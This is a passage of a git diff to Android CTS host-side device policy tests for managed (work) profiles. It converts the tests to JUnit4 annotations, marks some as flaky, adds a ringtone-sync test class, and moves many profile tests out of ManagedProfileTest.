     public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
index 93a17e0..8dd68bf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
+
 public class ManagedProfileProvisioningTest extends BaseDevicePolicyTest {
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
@@ -23,7 +27,7 @@
     private int mParentUserId;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // We need multi user to be supported in order to create a profile of the user owner.
@@ -39,7 +43,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             if (mProfileUserId != 0) {
                 removeUser(mProfileUserId);
@@ -49,7 +53,8 @@
         }
         super.tearDown();
     }
-
+    @FlakyTest(bugId = 141747631)
+    @Test
     public void testManagedProfileProvisioning() throws Exception {
         if (!mHasFeature) {
             return;
@@ -61,6 +66,8 @@
                 "testIsManagedProfile", mProfileUserId);
     }
 
+    @FlakyTest(bugId = 127275983)
+    @Test
     public void testEXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE() throws Exception {
         if (!mHasFeature) {
             return;
@@ -72,6 +79,8 @@
                 "testVerifyAdminExtraBundle", mProfileUserId);
     }
 
+    @FlakyTest(bugId = 141747631)
+    @Test
     public void testVerifySuccessfulIntentWasReceived() throws Exception {
         if (!mHasFeature) {
             return;
@@ -83,6 +92,8 @@
                 "testVerifySuccessfulIntentWasReceived", mProfileUserId);
     }
 
+    @FlakyTest(bugId = 141747631)
+    @Test
     public void testAccountMigration() throws Exception {
         if (!mHasFeature) {
             return;
@@ -97,6 +108,8 @@
                 "testAccountNotExist", mParentUserId);
     }
 
+    @FlakyTest(bugId = 141747631)
+    @Test
     public void testAccountCopy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -111,6 +124,8 @@
                 "testAccountExist", mParentUserId);
     }
 
+    @FlakyTest(bugId = 141747631)
+    @Test
     public void testWebview() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
new file mode 100644
index 0000000..4f8d87f
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.Test;
+
+public class ManagedProfileRingtoneTest extends BaseManagedProfileTest {
+    @Test
+    public void testRingtoneSync() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testRingtoneSync", mProfileUserId);
+    }
+
+    // Test if setting RINGTONE disables sync
+    @Test
+    public void testRingtoneSyncAutoDisableRingtone() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testRingtoneDisableSync", mProfileUserId);
+    }
+
+    // Test if setting NOTIFICATION disables sync
+    @Test
+    public void testRingtoneSyncAutoDisableNotification() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testNotificationDisableSync", mProfileUserId);
+    }
+
+    // Test if setting ALARM disables sync
+    @Test
+    public void testRingtoneSyncAutoDisableAlarm() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testAlarmDisableSync", mProfileUserId);
+    }
+
+    private void givePackageWriteSettingsPermission(int userId) throws DeviceNotAvailableException {
+        // Allow app to write to settings (for RingtoneManager.setActualDefaultUri to work)
+        String command = "appops set --user " + userId + " " + MANAGED_PROFILE_PKG
+                + " android:write_settings allow";
+        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 3f7bd9d..9ad986e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -13,12 +13,16 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -26,132 +30,24 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
-import junit.framework.AssertionFailedError;
-
-import java.util.Collections;
-import java.util.concurrent.Callable;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
+import org.junit.Test;
 
 /**
  * Set of tests for Managed Profile use cases.
  */
-public class ManagedProfileTest extends BaseDevicePolicyTest {
+public class ManagedProfileTest extends BaseManagedProfileTest {
 
-    private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
-    private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
-
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+    private static final String FEATURE_CAMERA = "android.hardware.camera";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+    private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
     private static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
     private static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
     private static final String DEVICE_OWNER_ADMIN =
             DEVICE_OWNER_PKG + ".BaseDeviceOwnerTest$BasicAdminReceiver";
 
-    private static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
-    private static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
-
-    private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
-    private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
-
-    private static final String WIDGET_PROVIDER_APK = "CtsWidgetProviderApp.apk";
-    private static final String WIDGET_PROVIDER_PKG = "com.android.cts.widgetprovider";
-
-    private static final String DIRECTORY_PROVIDER_APK = "CtsContactDirectoryProvider.apk";
-    private static final String DIRECTORY_PROVIDER_PKG
-            = "com.android.cts.contactdirectoryprovider";
-    private static final String PRIMARY_DIRECTORY_PREFIX = "Primary";
-    private static final String MANAGED_DIRECTORY_PREFIX = "Managed";
-    private static final String DIRECTORY_PRIVOIDER_URI
-            = "content://com.android.cts.contact.directory.provider/";
-    private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
-
-    private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
-    private static final String NOTIFICATION_PKG =
-            "com.android.cts.managedprofiletests.notificationsender";
-
-    private static final String ADMIN_RECEIVER_TEST_CLASS =
-            MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
-
-    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    private static final String FEATURE_CAMERA = "android.hardware.camera";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
-    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
-    private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
-
-    private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
-
-    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.MINUTES.toMillis(2);
-
-    private static final String PARAM_PROFILE_ID = "profile-id";
-
-    // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
-    private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
-
-    private static final String PROFILE_CREDENTIAL = "1234";
-    // This should be sufficiently larger than ProfileTimeoutTestHelper.TIMEOUT_MS
-    private static final int PROFILE_TIMEOUT_DELAY_MS = 40_000;
-
-    //The maximum time to wait for user to be unlocked.
-    private static final long USER_UNLOCK_TIMEOUT_NANO = 30_000_000_000L;
-
-    private static final String USER_UNLOCKED_SHELL_OUTPUT = "RUNNING_UNLOCKED";
-
-    private int mParentUserId;
-
-    // ID of the profile we'll create. This will always be a profile of the parent.
-    private int mProfileUserId;
-
-    private boolean mHasNfcFeature;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        mHasNfcFeature = hasDeviceFeature("android.hardware.nfc")
-                && hasDeviceFeature("android.sofware.nfc.beam");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            mProfileUserId = createManagedProfile(mParentUserId);
-            startUser(mProfileUserId);
-
-            // Install the APK on both primary and profile user in one single transaction.
-            // If they were installed separately, the second installation would become an app
-            // update and result in the current running test process being killed.
-            installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
-            setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                    mProfileUserId);
-            waitForUserUnlock();
-        }
-    }
-
-    private void waitForUserUnlock() throws Exception {
-        final String command = String.format("am get-started-user-state %d", mProfileUserId);
-        final long deadline = System.nanoTime() + USER_UNLOCK_TIMEOUT_NANO;
-        while (System.nanoTime() <= deadline) {
-            if (getDevice().executeShellCommand(command).startsWith(USER_UNLOCKED_SHELL_OUTPUT)) {
-                return;
-            }
-            Thread.sleep(100);
-        }
-        fail("Profile user is not unlocked.");
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mProfileUserId);
-            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
-            getDevice().uninstallPackage(INTENT_SENDER_PKG);
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-            getDevice().uninstallPackage(NOTIFICATION_PKG);
-        }
-        super.tearDown();
-    }
-
+    @Test
     public void testManagedProfilesSupportedWithLockScreenOnly() throws Exception {
         if (mHasFeature) {
             // Managed profiles should be only supported if the device supports the secure lock
@@ -160,6 +56,7 @@
         }
     }
 
+    @Test
     public void testManagedProfileSetup() throws Exception {
         if (!mHasFeature) {
             return;
@@ -169,215 +66,12 @@
                 mProfileUserId);
     }
 
-    public void testWipeDataWithReason() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        assertTrue(listUsers().contains(mProfileUserId));
-        sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
-        // Note: the managed profile is removed by this test, which will make removeUserCommand in
-        // tearDown() to complain, but that should be OK since its result is not asserted.
-        assertUserGetsRemoved(mProfileUserId);
-        // testWipeDataWithReason() removes the managed profile,
-        // so it needs to separated from other tests.
-        // Check and clear the notification is presented after work profile got removed, so profile
-        // user no longer exists, verification should be run in primary user.
-        runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG,
-                ".WipeDataNotificationTest",
-                "testWipeDataWithReasonVerification",
-                mParentUserId);
-    }
-
-    public void testWipeDataLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        assertTrue(listUsers().contains(mProfileUserId));
-        assertMetricsLogged(getDevice(), () -> {
-            sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
-        }, new DevicePolicyEventWrapper.Builder(EventId.WIPE_DATA_WITH_REASON_VALUE)
-                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                .setInt(0)
-                .build());
-        // Check and clear the notification is presented after work profile got removed, so profile
-        // user no longer exists, verification should be run in primary user.
-        runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG,
-                ".WipeDataNotificationTest",
-                "testWipeDataWithReasonVerification",
-                mParentUserId);
-    }
-
-    public void testWipeDataWithoutReason() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        assertTrue(listUsers().contains(mProfileUserId));
-        sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITHOUT_REASON");
-        // Note: the managed profile is removed by this test, which will make removeUserCommand in
-        // tearDown() to complain, but that should be OK since its result is not asserted.
-        assertUserGetsRemoved(mProfileUserId);
-        // testWipeDataWithoutReason() removes the managed profile,
-        // so it needs to separated from other tests.
-        // Check the notification is not presented after work profile got removed, so profile user
-        // no longer exists, verification should be run in primary user.
-        runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG,
-                ".WipeDataNotificationTest",
-                "testWipeDataWithoutReasonVerification",
-                mParentUserId);
-    }
-
-    /**
-     * wipeData() test removes the managed profile, so it needs to be separated from other tests.
-     */
-    public void testWipeData() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        assertTrue(listUsers().contains(mProfileUserId));
-        sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA");
-        // Note: the managed profile is removed by this test, which will make removeUserCommand in
-        // tearDown() to complain, but that should be OK since its result is not asserted.
-        assertUserGetsRemoved(mProfileUserId);
-    }
-
-    private void sendWipeProfileBroadcast(String action) throws Exception {
-        final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
-                + " -a " + action
-                + " com.android.cts.managedprofile/.WipeDataReceiver";
-        getDevice().executeShellCommand(cmd);
-    }
-
-    public void testLockNowWithKeyEviction() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
-        changeUserCredential("1234", null, mProfileUserId);
-        lockProfile();
-    }
-
-    private void lockProfile() throws Exception {
-        final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
-                + " -a com.android.cts.managedprofile.LOCK_PROFILE"
-                + " com.android.cts.managedprofile/.LockProfileReceiver";
-        getDevice().executeShellCommand(cmd);
-        waitUntilProfileLocked();
-    }
-
-    private void waitUntilProfileLocked() throws Exception {
-        final String cmd = "dumpsys activity | grep 'User #" + mProfileUserId + ": state='";
-        final Pattern p = Pattern.compile("state=([\\p{Upper}_]+)$");
-        SuccessCondition userLocked = () -> {
-            final String activityDump = getDevice().executeShellCommand(cmd);
-            final Matcher m = p.matcher(activityDump);
-            return m.find() && m.group(1).equals("RUNNING_LOCKED");
-        };
-        tryWaitForSuccess(
-                userLocked,
-                "The managed profile has not been locked after calling "
-                        + "lockNow(FLAG_SECURE_USER_DATA)",
-                TIMEOUT_USER_LOCKED_MILLIS);
-    }
-
-    /** Profile should get locked if it is not in foreground no matter what. */
-    public void testWorkProfileTimeoutBackground() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        setUpWorkProfileTimeout();
-
-        startDummyActivity(mPrimaryUserId, true);
-        simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
-
-        verifyOnlyProfileLocked(true);
-    }
-
-    /** Profile should get locked if it is in foreground but with no user activity. */
-    public void testWorkProfileTimeoutIdleActivity() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        setUpWorkProfileTimeout();
-
-        startDummyActivity(mProfileUserId, false);
-        Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
-
-        verifyOnlyProfileLocked(true);
-    }
-
-    /** User activity in profile should prevent it from locking. */
-    public void testWorkProfileTimeoutUserActivity() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        setUpWorkProfileTimeout();
-
-        startDummyActivity(mProfileUserId, false);
-        simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
-
-        verifyOnlyProfileLocked(false);
-    }
-
-    /** Keep screen on window flag in the profile should prevent it from locking. */
-    public void testWorkProfileTimeoutKeepScreenOnWindow() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        setUpWorkProfileTimeout();
-
-        startDummyActivity(mProfileUserId, true);
-        Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
-
-        verifyOnlyProfileLocked(false);
-    }
-
-    private void setUpWorkProfileTimeout() throws DeviceNotAvailableException {
-        // Set separate challenge.
-        changeUserCredential(PROFILE_CREDENTIAL, null, mProfileUserId);
-
-        // Make sure the profile is not prematurely locked.
-        verifyUserCredential(PROFILE_CREDENTIAL, mProfileUserId);
-        verifyOnlyProfileLocked(false);
-        // Set profile timeout to 5 seconds.
-        runProfileTimeoutTest("testSetWorkProfileTimeout", mProfileUserId);
-    }
-
-    private void verifyOnlyProfileLocked(boolean locked) throws DeviceNotAvailableException {
-        final String expectedResultTest = locked ? "testDeviceLocked" : "testDeviceNotLocked";
-        runProfileTimeoutTest(expectedResultTest, mProfileUserId);
-        // Primary profile shouldn't be locked.
-        runProfileTimeoutTest("testDeviceNotLocked", mPrimaryUserId);
-    }
-
-    private void simulateUserInteraction(int timeMs) throws Exception {
-        final long endTime = System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(timeMs);
-        final UserActivityEmulator helper = new UserActivityEmulator(getDevice());
-        while (System.nanoTime() < endTime) {
-            helper.tapScreenCenter();
-            // Just in case to prevent busy loop.
-            Thread.sleep(100);
-        }
-    }
-
-    private void runProfileTimeoutTest(String method, int userId)
-            throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ProfileTimeoutTestHelper",
-                method, userId);
-    }
-
-    private void startDummyActivity(int profileUserId, boolean keepScreenOn) throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "am start-activity -W --user %d --ez keep_screen_on %s %s/.TimeoutActivity",
-                profileUserId, keepScreenOn, MANAGED_PROFILE_PKG));
-    }
-
+    @Test
     public void testMaxOneManagedProfile() throws Exception {
         int newUserId = -1;
         try {
             newUserId = createManagedProfile(mParentUserId);
-        } catch (AssertionFailedError expected) {
+        } catch (AssertionError expected) {
         }
         if (newUserId > 0) {
             removeUser(newUserId);
@@ -389,6 +83,7 @@
     /**
      * Verify that removing a managed profile will remove all networks owned by that profile.
      */
+    @Test
     public void testProfileWifiCleanup() throws Exception {
         if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
             return;
@@ -406,6 +101,7 @@
                 mParentUserId);
     }
 
+    @Test
     public void testWifiMacAddress() throws Exception {
         if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
             return;
@@ -414,74 +110,8 @@
                 MANAGED_PROFILE_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mProfileUserId);
     }
 
-    public void testCrossProfileIntentFilters() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        // Set up activities: ManagedProfileActivity will only be enabled in the managed profile and
-        // PrimaryUserActivity only in the primary one
-        disableActivityForUser("ManagedProfileActivity", mParentUserId);
-        disableActivityForUser("PrimaryUserActivity", mProfileUserId);
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                MANAGED_PROFILE_PKG + ".ManagedProfileTest", mProfileUserId);
-
-        assertMetricsLogged(getDevice(), () -> {
-            runDeviceTestsAsUser(
-                    MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileTest",
-                    "testAddCrossProfileIntentFilter_all", mProfileUserId);
-        }, new DevicePolicyEventWrapper.Builder(EventId.ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
-                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                .setInt(1)
-                .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
-                .build());
-
-        // Set up filters from primary to managed profile
-        String command = "am start -W --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
-                + "/.PrimaryUserFilterSetterActivity";
-        CLog.d("Output for command " + command + ": "
-                + getDevice().executeShellCommand(command));
-        runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".PrimaryUserTest", mParentUserId);
-        // TODO: Test with startActivity
-    }
-
-    public void testDisallowSharingIntoProfileFromProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        // Set up activities: PrimaryUserActivity will only be enabled in the personal user
-        // This activity is used to find out the ground truth about the system's cross profile
-        // intent forwarding activity.
-        disableActivityForUser("PrimaryUserActivity", mProfileUserId);
-
-        // Tests from the profile side
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                ".DisallowSharingIntoProfileTest", "testSharingFromProfile", mProfileUserId);
-    }
-
-    public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
-        // This activity is used to find out the ground truth about the system's cross profile
-        // intent forwarding activity.
-        disableActivityForUser("ManagedProfileActivity", mParentUserId);
-
-        // Tests from the personal side, which is mostly driven from host side.
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testSetUp", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testDisableSharingIntoProfile", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testSharingFromPersonalFails", mParentUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testEnableSharingIntoProfile", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testSharingFromPersonalSucceeds", mParentUserId);
-    }
-
+    @LargeTest
+    @Test
     public void testAppLinks_verificationStatus() throws Exception {
         if (!mHasFeature) {
             return;
@@ -518,6 +148,8 @@
         assertAppLinkResult("testReceivedByAppLinkActivityInManaged");
     }
 
+    @LargeTest
+    @Test
     public void testAppLinks_enabledStatus() throws Exception {
         if (!mHasFeature) {
             return;
@@ -571,6 +203,7 @@
         assertAppLinkResult("testThreeReceivers");
     }
 
+    @Test
     public void testSettingsIntents() throws Exception {
         if (!mHasFeature) {
             return;
@@ -580,135 +213,8 @@
                 mProfileUserId);
     }
 
-    public void testCrossProfileContent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        // Storage permission shouldn't be granted, we check if missing permissions are respected
-        // in ContentTest#testSecurity.
-        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
-        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
-
-        // Test from parent to managed
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testRemoveAllFilters", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testAddManagedCanAccessParentFilters", mProfileUserId);
-        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mParentUserId);
-
-        // Test from managed to parent
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testRemoveAllFilters", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testAddParentCanAccessManagedFilters", mProfileUserId);
-        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mProfileUserId);
-
-    }
-
-    public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
-        // Profile owner in the profile sets an empty whitelist
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testSetEmptyWhitelist", mProfileUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-        // Listener outside the profile can only see personal notifications.
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testCannotReceiveProfileNotifications", mParentUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-    }
-
-    public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
-        // Profile owner in the profile sets a null whitelist
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testSetNullWhitelist", mProfileUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-        // Listener outside the profile can see profile and personal notifications
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testCanReceiveNotifications", mParentUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-    }
-
-    public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
-        // Profile owner in the profile adds listener to the whitelist
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testAddListenerToWhitelist", mProfileUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-        // Listener outside the profile can see profile and personal notifications
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testCanReceiveNotifications", mParentUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-    }
-
-    public void testCrossProfileNotificationListeners_setAndGet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
-                "testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
-                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
-    }
-
-    public void testCrossProfileCopyPaste() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
-        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testAllowCrossProfileCopyPaste", mProfileUserId);
-        // Test that managed can see what is copied in the parent.
-        testCrossProfileCopyPasteInternal(mProfileUserId, true);
-        // Test that the parent can see what is copied in managed.
-        testCrossProfileCopyPasteInternal(mParentUserId, true);
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testDisallowCrossProfileCopyPaste", mProfileUserId);
-        // Test that managed can still see what is copied in the parent.
-        testCrossProfileCopyPasteInternal(mProfileUserId, true);
-        // Test that the parent cannot see what is copied in managed.
-        testCrossProfileCopyPasteInternal(mParentUserId, false);
-    }
-
-    private void testCrossProfileCopyPasteInternal(int userId, boolean shouldSucceed)
-            throws DeviceNotAvailableException {
-        final String direction = (userId == mParentUserId)
-                ? "testAddManagedCanAccessParentFilters"
-                : "testAddParentCanAccessManagedFilters";
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testRemoveAllFilters", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                direction, mProfileUserId);
-        if (shouldSucceed) {
-            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
-                    "testCanReadAcrossProfiles", userId);
-        } else {
-            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
-                    "testCannotReadAcrossProfiles", userId);
-        }
-    }
-
     /** Tests for the API helper class. */
+    @Test
     public void testCurrentApiHelper() throws Exception {
         if (!mHasFeature) {
             return;
@@ -718,6 +224,7 @@
     }
 
     /** Test: unsupported public APIs are disabled on a parent profile. */
+    @Test
     public void testParentProfileApiDisabled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -730,6 +237,7 @@
     // Move it to a MultiUserTest class when there is one. Should probably move
     // SetPolicyActivity to a more generic apk too as it might be useful for different kinds
     // of tests (same applies to ComponentDisablingActivity).
+    @Test
